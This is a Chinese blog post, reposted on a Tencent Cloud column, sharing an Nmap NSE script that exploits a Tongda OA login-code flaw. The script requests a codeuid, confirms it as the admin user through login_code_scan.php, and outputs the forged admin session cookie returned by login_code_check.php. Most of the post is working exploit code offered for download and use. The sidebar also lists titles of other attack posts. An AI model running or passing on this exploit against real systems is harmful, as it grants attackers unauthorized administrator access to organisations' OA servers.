专栏首页漫流砂通达OA伪造SESSION | Nmap脚本

通达OA伪造SESSION | Nmap脚本

通达OA又出问题了,这次的脚本是参照一个哥们儿github上代码写的,用了一晚上,我终于证明了一个问题,v2017版本和v11.x版本利用方式一毛一样,被这个爹给坑害了,画个圈圈诅咒他!

local stdnse = require "stdnse"
local shortport = require "shortport"
local http = require "http"
local json = require "json"

description = "sth"
author = "test94"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"default"}


prerule = function()
    print("-----------------------------------")
    print("[+] start ... ")
    print("[-] (if port is filtered, nothing will be checked)")
    print("")
end

portrule = shortport.service({"http", "https", "afs3-callback", "http-proxy"})


action = function(host, port)
    local output = stdnse.output_table()
    output.result = "not vulnerable"

    local options = {header = {}, content = {}}    
    options["header"]["Cache-Control"] = "max-age=0" 
    options["header"]["Upgrade-Insecure-Requests"] = "1" 
    options["header"]["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36 Edg/81.0.416.58" 
    options["header"]["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 
    options["header"]["Accept-Encoding"] = "gzip, deflate" 
    options["header"]["Accept-Language"] = "zh-Hans-CN,zh-CN;q=0.9,zh;q=0.8,en;q=0.7,en-GB;q=0.6,en-US;q=0.5" 
    -- options["header"]["Cookie"] = "USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=40cff017; PHPSESSID=1edafhs3br4q1ajb49q9a2u4a1; KEY_RANDOMDATA=8271"
    options["header"]["Connection"] = "close" 
    options["header"]["Content-Type"] = "application/x-www-form-urlencoded"
    
    local req = http.generic_request(host, port, "GET", "/ispirit/login_code.php", options)
    local status, codeuid = json.parse(req.body)
    codeuid = codeuid['codeuid']

    local postdatas = "codeuid="..codeuid.."&uid=1&source=pc&type=confirm&username=admin"
    options['content'] = postdatas
    local req2 = http.generic_request(host, port, "POST", "/general/login_code_scan.php", options)
    local status_TF, status_sta = json.parse(req2.body)
    if status_sta['status'] == '1' then
        options['content'] = ""
        local req3 = http.generic_request(host, port, "GET", "/ispirit/login_code_check.php?codeuid="..codeuid, options)
        local fake_cookie = req3.header['set-cookie']
        output.result = fake_cookie
    end
    return output
end

下载地址:http://www.my-synology.cn:37980/sharing/e96EXxAHM


参考文章

https://github.com/NS-Sp4ce/TongDaOA-Fake-User

本文分享自微信公众号 - 漫流砂(yidalidemao),作者:意大利的猫

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-04-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 通达OA文件包含全版本 getshell | Nmap 脚本

    今天就做了全版本匹配,但是我发现似乎只有 v11 和 2017 版本存在文件包含漏洞,文件上传是都存在的,但不是web目录(webroot) 所以今天更新了一下...

    意大利的猫
  • Nmap NSE 库分析 >>> shortport

    这个库是专门为了端口规则 (portrules) 而准备的,用来构造端口规则,从下面这个图就可以看出来了

    意大利的猫
  • 提权(九) mimikatz

    这个绝对是一个神级的工具了,可以说之前那些个操作,用mimikatz 几乎都可以完成.

    意大利的猫
  • Openstack Ocata初体验

    Openstack社区刚刚release了Ocata版,最大的改进之一是更加全面拥抱容器,不管是Openstack的各个组件以容器,微服务的形式部署,还是对容器...

    后端云
  • 软件安全性测试(连载16)

    顾翔老师近期推出一对一入职面试辅导。有兴趣者可加微信xianggu19720625与我联系。先要提供简历初选,合适者进一步洽谈。

    小老鼠
  • weex-24-modal模块

    如果你觉得这些界面颜色风格和你的应用配色格格不入,你可以自定义自己想要的类似的组件!

    酷走天涯
  • Vue框架av88732281笔记

    Vue.js 的核心是一个允许采用简洁的模板语法来声明式地将数据渲染进 DOM 的系统:

    Remember_Ray
  • 为什么编程这么难学?

    曾经上学时就有过这样的经历,学习一个东西的时候刚开始大家的起点都一样。一个星期过后就会出现差距,一些人开始慢慢落下步法,一些人却高歌猛进。其实大家的智商99%的...

    程序员互动联盟
  • 【咨讯】谷歌收购大数据公司Rangespan 强化其电商业务

    5月3日,据科技博客网站TechCrunch报道,Google收购了英国大数据公司Rangespan,强化其电子商务业务,尤其是零售门户Google Shopp...

    小莹莹
  • 关于HTTP 2.0

    HTTP自互联网时代到来之后,几乎成为了使用最多的应用层协议。先来回顾一下http的历史: http也就是超文本传输协议,对应的传输的文本叫做超文本标记语言也...

    邹志全

扫码关注云+社区

领取腾讯云代金券